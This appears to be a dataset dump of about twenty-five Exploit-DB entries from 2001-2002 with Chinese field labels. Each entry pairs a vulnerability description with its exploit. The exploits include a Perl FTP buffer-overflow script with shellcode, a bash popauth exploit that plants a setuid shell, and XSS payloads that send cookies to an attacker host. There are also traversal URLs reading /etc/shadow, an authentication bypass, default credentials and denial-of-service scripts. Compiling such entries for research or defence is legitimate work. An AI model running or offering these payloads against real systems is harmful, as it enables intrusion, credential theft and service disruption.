QLWD/code_shield huggingface dataset:
标题: BrowseFTP Client 1.62 - Remote Buffer Overflow EDB-ID: 21201 CVE: 2002-2026 类型: REMOTE 平台: WINDOWS 发布日期: 2002-01-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/3781/info

BrowseFTP is an ftp client that runs on various Microsoft Windows operating systems.

An issue has been reported which could allow for a malicious ftp server to execute arbitrary code on a BrowseFTP client user.

This is acheivable when a BrowseFTP user connects to an ftp host, if the FTP server '220' response is of excessive length. The stack-based overflow condition can allow for malicious administrators to execute arbitrary code on (and gain control of) client hosts. It is also possible to crash the client. 

#!/usr/local/bin/perl

#------------------------------------------------------------------------
# Browse FTP exploit( run under inetd )
# written by Kanatoko 
# http://www.jumperz.net/
#------------------------------------------------------------------------
$|=1;

 #egg written by UNYUN (http://www.shadowpenguin.org/)
$egg  = "\xEB\x22\x5B\x53\x32\xE4\x83\xC3\x0B\x88\x23\xB8\x24\x98\x01\x78";
$egg .= "\xFF\xD0\x33\xC0\x50\xB4\x78\xC1\xE0\x10\x33\xDB\x66\xBB\x04\x55";
$egg .= "\x0B\xC3\xFF\xD0\xE8\xD9\xFF\xFF\xFF";
$egg .= "notepad.exe";

 #018DFB20
$ret = "\x20\xFB\x8D\x01";

$buf = "\x90" x 2428;
$buf .= $egg;
$buf .= "A" x 299;
$buf .= $ret;

print "220 $buf\r\n"; URL: https://www.exploit-db.com/exploits/21201
标题: Ultimate Bulletin Board 5.4/6.0/6.2 - Cross-Agent Scripting EDB-ID: 21209 CVE: 2002-0118 类型: WEBAPPS 平台: CGI 发布日期: 2002-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/3829/info

UBB (Ultimate Bulletin Board) is commercial web forums/community software that is written in Perl. It runs on various Unix/Linux variants, as well as Microsoft Windows NT/2000.

UBB is prone to cross-agent scripting attacks via the insertion of HTML tags into image links in messages. Due to insufficient input validation, it is possible to insert arbitrary script code in forum messages/replies. The malicious script code will be executed in the browser of the user viewing the message, in the context of the site running UBB.

This makes it possible for a malicious user to post a message which is capable of stealing another legitimate user's cookie-based authentication credentials. 

The following example will send cookie-based authentication credentials to the attacker's site:

[IMG]javascr&#x69;pt:document.wr&#x69;te
&#x28;'<img%20src=&#x68;tt&#x70;://attackersite/tools/cookie.plx?
cookie='+escape&#x28;document.cook&#x69;e&#x29;+'>'&#x29;
[/IMG] URL: https://www.exploit-db.com/exploits/21209
标题: Cacheflow CacheOS 3.1/4.0 Web Administration - Arbitrary Cached Page Code Leakage EDB-ID: 21212 CVE: 2002-0107 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-01-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/3841/info

CacheOS is the firmware designed and distributed with CacheFlow web cache systems. It is maintained and distributed by CacheFlow.

When a user connects to the system via the web administration interface on port 8081, and issues an HTTP standard-compliant request to the system, the system will prevent the user from accessing any information managed by the cache server. However, a user connecting to the system and issuing a request without the HTTP version request type (i.e. HTTP/1.0 or HTTP/1.1) multiple times may gain access to sensitive information. The cache server will leak information such as parts of URLs being accessed by a client currently connected to the cache server.

This problem makes it possible for a user to gather information, and potentially gain access to passwords, userids, or other potentially sensitive information. 

localhost:~# telnet cacheflow 8081
Trying xxx.xxx.xxx.xxx...
Connected to cacheflow.
Escape character is '^]'.
GET /Secure/Local/console/cmhome.htm

HTTP/1.0 404-Not Found

<HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The
request
ed URL "/Secure/Local/console/cmhome.htm

Easp&o=0&sv=za5cb0d78&qid=E2BCA8F417ECE94DBDD27B75F951FFDA&uid=2c234acbec234
acbe
&sid=3c234acbec234acbe&ord=1" was not found on this
server.<P></BODY>Connection
closed by foreign host. URL: https://www.exploit-db.com/exploits/21212
标题: PHP-Nuke AddOn PHPToNuke.php 1.0 - Cross-Site Scripting EDB-ID: 21206 CVE: 2002-1995 类型: WEBAPPS 平台: PHP 发布日期: 2002-01-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/3807/info

phptonuke.php is a PHPNuke AddOn script to insert a PHP script into the middle of a PHPNuke site. It is written and maintained by Lebios.

It is possible for a malicious user to create a link to the phptonuke.php script which contains script code. When an unsuspecting web user browses the link, the script code will be executed in their browser in the context of the PHPNuke site.

This type of attack may be used to hijack a legitimate user's session via theft of cookie-based authentication credentials.

http://phpnukesite/phptonuke.php?filnavn=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/21206
标题: Microsoft Internet Explorer 5 - JavaScript Local File Enumeration (2) EDB-ID: 21199 CVE: 2002-2031 类型: REMOTE 平台: WINDOWS 发布日期: 2002-01-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/3779/info
 
Microsoft Internet Explorer is prone to a vulnerability which may disclose sensitive information to a malicious webmaster.
 
When script code includes a file outside of the document it is embedded in and the file does not exist, the onError event handler will run script if it is enabled. This script can determine whether the file to be included exists or not. This can be used to verify the existence of files on client hosts by creating webpages that include files from the local host using 'file://'. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21199.zip URL: https://www.exploit-db.com/exploits/21199
标题: YaBB 9.1.2000 - Cross-Agent Scripting EDB-ID: 21208 CVE: 2002-0117 类型: WEBAPPS 平台: CGI 发布日期: 2002-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/3828/info

YaBB (Yet Another Bulletin Board) is freely available web forums/community software that is written in Perl. YaBB will run on most Unix/Linux variants, MacOS, and Microsoft Windows 9x/ME/NT/2000/XP platforms.

YaBB is prone to cross-agent scripting attacks via the insertion of HTML tags into image links in messages. Due to insufficient input validation, it is possible to insert arbitrary script code in forum messages/replies. The malicious script code will be executed in the browser of the user viewing the message, in the context of the site running YaBB.

This makes it possible for a malicious user to post a message which is capable of stealing another legitimate user's cookie-based authentication credentials.

[img]javascr&#x69;pt:document.write
('&#x3cimg
src=&#x68;tt&#x70;://attackerssite/tools/cookie.plx?cookie='+escape(docu
ment.cookie)+'&#x3e')
[/img] URL: https://www.exploit-db.com/exploits/21208
标题: Lucent 8.x - VitalNet Password Authentication Bypass EDB-ID: 21203 CVE: 2002-0236 类型: REMOTE 平台: WINDOWS 发布日期: 2002-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/3784/info

VitalNet is part of Lucent's VitalSuite SP product family. VitalNet allows users to monitor, analyze, manage and predict the performance of their network infrastructure.

The implementation of VitalNet's cookie-based authentication mechanism is flawed. An attacker who successfully guesses a correct username can gain access to the server without need of a valid password. 

http://<serverip>/cgi-bin/VsSetCookie.exe?vsuser=<user_name> URL: https://www.exploit-db.com/exploits/21203
标题: EServ 2.9x - Password-Protected File Access EDB-ID: 21211 CVE: 2002-0112 类型: REMOTE 平台: WINDOWS 发布日期: 2002-01-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/3838/info

EServ is a combination Mail, News, Web, FTP and Proxy Server for Microsoft Windows 9x/NT/2000 systems.

It is possible to construct a web request which is capable of accessing the contents of password protected files/folders on the webserver, such as the admin folder, which contains the administrative interface.

It should be noted that this vulnerability may only be exploited to access password-protected files in sub-folders of wwwroot. 

The following example will give the attacker access to the administrative interface:

http://host/./admin/ URL: https://www.exploit-db.com/exploits/21211
标题: Apache 1.3.20 (Win32) - 'PHP.exe' Remote File Disclosure EDB-ID: 21204 CVE: 2002-2029 类型: REMOTE 平台: WINDOWS 发布日期: 2002-01-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/3786/info

A vulnerability exists in the suggested default configuration for the Apache PHP.EXE binary on Microsoft Windows platforms. This issue has the potential to disclose the contents of arbitrary files to remote attackers.

As a result, it is possible for an attacker to append a filepath to the end of web request for php.exe. Files targetted in this manner will be served to the attacker.

It is also possible to run executables in the PHP directory via successful exploitation of this vulnerability.

http://[targethost]/php/php.exe?c:\[filepath] URL: https://www.exploit-db.com/exploits/21204
标题: BSCW 3.4/4.0 - Insecure Default Installation EDB-ID: 21197 CVE: 2002-0095 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-01-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/3777/info

BSCW (Basic Support for Cooperative Work) is a web-based groupware application, allowing users to share a workspace via a web interface. It runs on Microsoft Windows NT/2000 systems, as well as a number of Unix variants.

The default installation allows users to self-register, potentially allowing untrusted users to access the service.

This may provide a window of opportunity for an untrusted, malicious user to access the service to exploit known issues. One example of an existing issue that may be exploited as a result of untrusted users being able to self-register is BugTraq ID 3776 "BSCW Remote Command Execution Vulnerability". 

http://your.bscwserver.url/pub/english.cgi?op=rmail URL: https://www.exploit-db.com/exploits/21197
标题: Abe Timmerman - 'zml.cgi' File Disclosure EDB-ID: 21194 CVE: 2001-1209 类型: REMOTE 平台: CGI 发布日期: 2001-12-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/3759/info

zml.cgi is a perl script which can be used to support server side include directives under Apache. It recognizes a simple set of commands, and allows access to cgi parameters and environment variables. It can run on Linux and Unix systems or any other platform with Apache and Perl support.

zml.cgi accepts as a parameter the file to parse for these ssi directives. This parameter is susceptible to the standard ../ directory traversal attack, allowing arbitrary files to be specified. Although the script attempts to append a .zml extension to any file accessed, appending a null byte to the file name parameter is sufficient to evade this restriction.

The author of the script has reported that this vulnerability does not exist in any published version of ZML, and that the file parameter has never been used by ZML. It is possible that this vulnerability exists in a modified version of ZML published by an unknown third party. If more details become available, this vulnerability will be updated.

http://www.blackshell.com/cgi-bin/zml.cgi?file=../../../../../../../../../etc/motd%00 URL: https://www.exploit-db.com/exploits/21194
标题: Microsoft Internet Explorer 5 - JavaScript Local File Enumeration (1) EDB-ID: 21198 CVE: 2002-2031 类型: REMOTE 平台: WINDOWS 发布日期: 2002-01-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/3779/info

Microsoft Internet Explorer is prone to a vulnerability which may disclose sensitive information to a malicious webmaster.

When script code includes a file outside of the document it is embedded in and the file does not exist, the onError event handler will run script if it is enabled. This script can determine whether the file to be included exists or not. This can be used to verify the existence of files on client hosts by creating webpages that include files from the local host using 'file://'. 

<html>
<head>
<script language="javascript">
<!--
var fileExists = false;
function yes()
{
alert("the file exists.");
yes = true;
}

function no()
{
if(!fileExists)
{
alert("the file does not exist.");
}
}

window.onerror = yes
window.onload = no
//-->
</script>
<script language="javascript"
src="file://c:\autoexec.bat"></script>
</head>
</html> URL: https://www.exploit-db.com/exploits/21198
标题: Microsoft Internet Explorer 5/6 - GetObject File Disclosure EDB-ID: 21195 CVE: 2002-0023 类型: REMOTE 平台: WINDOWS 发布日期: 2002-01-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/3767/info

A flaw exists in Microsoft Internet Explorer that may allow a remote attacker to view known files on a target system when a user views web content containing a specially crafted script.

The problem occurs when the 'GetObject()' JScript function is used with the ActiveX object 'htmlfile.' If a URL containing "../" sequences is passed as the first argument to the function, it is possible to cause Internet Explorer to grant full access to the DOM of the created HTML document object:

a=GetObject("http://"+location.host+"/../../../../../../test.txt","htmlfile");

This vulnerability could be used by a malicious web site administrator to view any known file on a target system. It may also lead to the execution of arbitrary code. URL: https://www.exploit-db.com/exploits/21195
标题: ZYXEL Prestige 681 SDSL Router - IP Fragment Reassembly EDB-ID: 21186 CVE: 2001-1194 类型: REMOTE 平台: HARDWARE 发布日期: 2001-12-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/3711/info

Prestige is a product line of DSL routers produced and distributed by Zyxel.

When a Zyxel router receives fragmented packets that after reassembly is greater than 64 kilobytes in length, the router crashes. The router must be power cycled to resume normal operation. This could lead to a remote user denying service to a legitimate user of the router. The router is affected only by fragmented packets received through the DSL interface. Fragmented packets sent through the LAN interface have no affect on the system.

ping -t -l 65500 victim.example.com URL: https://www.exploit-db.com/exploits/21186
标题: QPopper 4.0.x - PopAuth Trace File Shell Command Execution EDB-ID: 21185 CVE: 2001-1487 类型: REMOTE 平台: UNIX 发布日期: 2001-12-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/3710/info

Qpopper is a freely available, open source Post Office Protocol server. It is maintained and distributed by Qualcomm.

When popauth is executed with the trace option, it does not correctly handle user-supplied input. A user can supply data to the popauth program through the trace flag which will cause the program to execute shell commands, and follow symbolic links.

This problem could be exploited to gain privilege elevation equal to that of the setuid bit on popauth, typically setuid as the pop user. 

#!/bin/bash

# popauth symlink follow vuln by IhaQueR
# this will create .bashrc for user pop
# and ~pop/sup suid shell

FILE=$(perl -e 'print "/tmp/blah1\"\ncd ~\necho >blah.c \"#include <stdio.h>\nmain(){setreuid(geteuid(),getuid());execlp(\\\"bash\\\", \\\"bash\\\",NULL);}\"\ngcc blah.c -o sup\nchmod u+s sup\necho done\n\n\""')

ln -s /var/lib/pop/.bashrc "$FILE"

/usr/sbin/popauth -trace "$FILE" URL: https://www.exploit-db.com/exploits/21185
标题: Aktivate 1.0 3 - Shopping Cart Cross-Site Scripting EDB-ID: 21187 CVE: 2001-1212 类型: WEBAPPS 平台: CGI 发布日期: 2001-12-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/3714/info

Aktivate is a shopping cart system which is geared towards Unix and Linux users, uses MySQL as a backend, and is written in Perl.

Aktivate is prone to cross-site scripting attacks. It is possible to construct a link containing arbitrary script code to a website running Aktivate. When a user browses the link, the script code will be executed on the user in the context of the site hosting the affected software.

The impact of this issue is that the attacker is able to hijack a legitimate web user's session, by stealing cookie-based authentication credentials. Other cross-site scripting attacks are also possible.

Aktivate 1.03 is known to be vulnerable, other versions may also be affected. 

https://host/aktivate/cgi-bin/catgy.cgi?key=0&cartname=axa200135022551089&desc=<script>alert(document.domain)</script> URL: https://www.exploit-db.com/exploits/21187
标题: Agora.CGI 3.x/4.0 - Debug Mode Cross-Site Scripting EDB-ID: 21184 CVE: 2001-1199 类型: WEBAPPS 平台: CGI 发布日期: 2001-12-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/3702/info

Agora.cgi is a freely available, open source shopping cart system.

When debug mode is enabled, the Agora.cgi script does not adequately filter HTML tags when debug information is being output. Debug mode is not enabled by default and must be explicitly turned on by an administrator.

As a result, it is possible for an attacker to construct a link to the script that includes maliciously constructed script code. When the link is clicked by a web user, the script code will be executed by the client in the context of the site running Agora.cgi.

This issue may be exploited to by an attacker to steal cookie-based authentication credentials, permitting the attacker to hijack an Agora.cgi session and perform actions as a legitimate user. A number of other cross-site scripting attacks are also possible.

http://agorasite/store/agora.cgi?cart_id=<script>alert(document.cookie)</script>&xm=on&product=HTML URL: https://www.exploit-db.com/exploits/21184
标题: DeleGate 7.7.1 - Cross-Site Scripting EDB-ID: 21193 CVE: 2001-1202 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-12-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/3749/info

DeleGate is a proxy server which runs on Linux , Unix, Microsoft Windows and OS/2 platforms. It is capable of translating a number of protocols(HTTP, FTP, NNTP, POP, Telnet, etc.) between client and server.

DeleGate is prone to cross-site scripting attacks. HTML tags are not filtered from links to error pages. As a result, it is possible for an attacker to insert malicious script code into a link to a site running DeleGate. When a web user clicks the link an error page will be displayed and the script code will be executed on the web user in the context of the site running DeleGate.

Such an attack may be used to steal a legitimate user's cookie-based authentication credentials. 

http://IP_Address_of_DeleGate/<script>alert("aaa");</script> URL: https://www.exploit-db.com/exploits/21193
标题: AOL Instant Messenger 4.x - Remote Buffer Overflow EDB-ID: 21196 CVE: 2002-0005 类型: REMOTE 平台: WINDOWS 发布日期: 2002-01-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/3769/info

AOL Instant Messenger (AIM) is a real time messaging service.

The vulnerability exists in the way that AIM parses a game request with a TLV (type, length, value) type of 0x2711. This type of game request is prone to a buffer overflow which could allow a remote user to obtain the same privileges of the user who is currently logged on.

It is important to note that there is currently no way for an AIM user to block this type of request.

**AOL has made modifications to their AIM servers to prevent this vulnerability from being exploited through their servers. However, the underlying problem still exists in the client software which could still be exploited using something similar to a man in the middle attack or if an attacker can bypass the filters on the AIM servers. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21196.tgz URL: https://www.exploit-db.com/exploits/21196
标题: Microsoft Internet Explorer 6.0 / Mozilla 0.9.6 / Opera 5.1 - Image Count Denial of Service EDB-ID: 21181 CVE: 2001-1491 2001-1490 2001-1489 类型: DOS 平台: MULTIPLE 发布日期: 2001-12-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/3684/info

An issue which affects users of multiple web browsers on Microsoft Windows platforms has been discovered.

An unusually high image count may cause a denial of services to users who view the webpage containing the offending image.

Malicious webmasters may construct webpages which exploit this vulnerability. 

<script>
for(i=0;i<100000000;i++) {
document.write("<img src=http://fakehost.com/"+i+".gif>");
}
</script> URL: https://www.exploit-db.com/exploits/21181
标题: webmin 0.91 - Directory Traversal EDB-ID: 21183 CVE: 2001-1196 类型: REMOTE 平台: CGI 发布日期: 2001-12-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/3698/info

Webmin is a web-based interface for system administration for Unix. Using any browser that supports tables and forms, you can setup user accounts, Apache, DNS, file sharing and so on. Webmin will run on most Unix variants, providing it has been properly configured.

Webmin does not adequately filter '../' sequences from web requests, making it prone to directory traversal attacks. Furthermore, since Webmin is a facility for remote web-based administration of Unix systems, it requires root privileges. This vulnerability could be exploited to effectively disclose any file on a host running the affected software.

It may also be possible to edit files or place files on the server. This may lead to a remote root compromise.

http://www.domain.com:10000/servers/link.cgi/1008341480/init/edit_action.cgi?0+../../../../../etc/shadow URL: https://www.exploit-db.com/exploits/21183
标题: EasyNews 1.5 - NewsDatabase/Template Modification EDB-ID: 21168 CVE: 2001-1525 类型: WEBAPPS 平台: PHP 发布日期: 2001-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/3643/info

EasyNews is a free, open-source script for displaying news stories on a website.

EasyNews is prone to a vulnerability which may allow a remote attacker to modify information in its Newsdatabase. As a result, a remote attacker may post unmoderated comments or possibly modify information in the templates used by EasyNews.

This may be exploited via a specially crafted web request.

Earlier versions may also be vulnerable.

http://[target]/index.php?action=comments&do=save&id=1&cid=../news&name=11/1
1/11&kommentar=%20&email=hax0r&zeit=you%20suck,11:11,../news,bugs@securityal
ert.com&datum=easynews%20exploited URL: https://www.exploit-db.com/exploits/21168
标题: Microsoft IIS 5.0 - False Content-Length Field Denial of Service EDB-ID: 21177 CVE: 2001-1186 类型: DOS 平台: WINDOWS 发布日期: 2001-12-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/3667/info

Microsoft IIS 5.0 may be prone to a denial of service condition when sent a specially crafted malformed HTTP GET header.

If an IIS 5.0 web server is sent a crafted HTTP GET request which contains a falsified and excessive "Content-Length" field, it behaves in an unusual manner. The server keeps the connection open and does not time out, but does not respond otherwise. It is possible that this may be used to cause a denial of service to the web server. 

The following HTTP GET Header, containing a falsified Content-Length field, is sufficient to cause the unexpected behavior:

GET /testfile HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-excel, application/vnd.ms-powerpoint,
application/msword, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: 192.168.0.10
Connection: Keep-Alive
Content-Length: 5300643
Authorization: Basic URL: https://www.exploit-db.com/exploits/21177
标题: Novell Groupwise 5.5/6.0 Servlet Gateway - Default Authentication EDB-ID: 21182 CVE: 2001-1195 类型: REMOTE 平台: NOVELL 发布日期: 2001-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/3697/info

Novell Groupwise Servlet Gateway is a product that allows Java servlets to be run with NetWare, using Novell JVM for NetWare v1.1.7b and NetWare Enterprise Web Server.

A remote attacker may gain access to the Servlet Manager interface by entering the default username/password. The default username is "servlet" and the default password is "manager".

http://server/servlet/ServletManager
username servlet
password manager URL: https://www.exploit-db.com/exploits/21182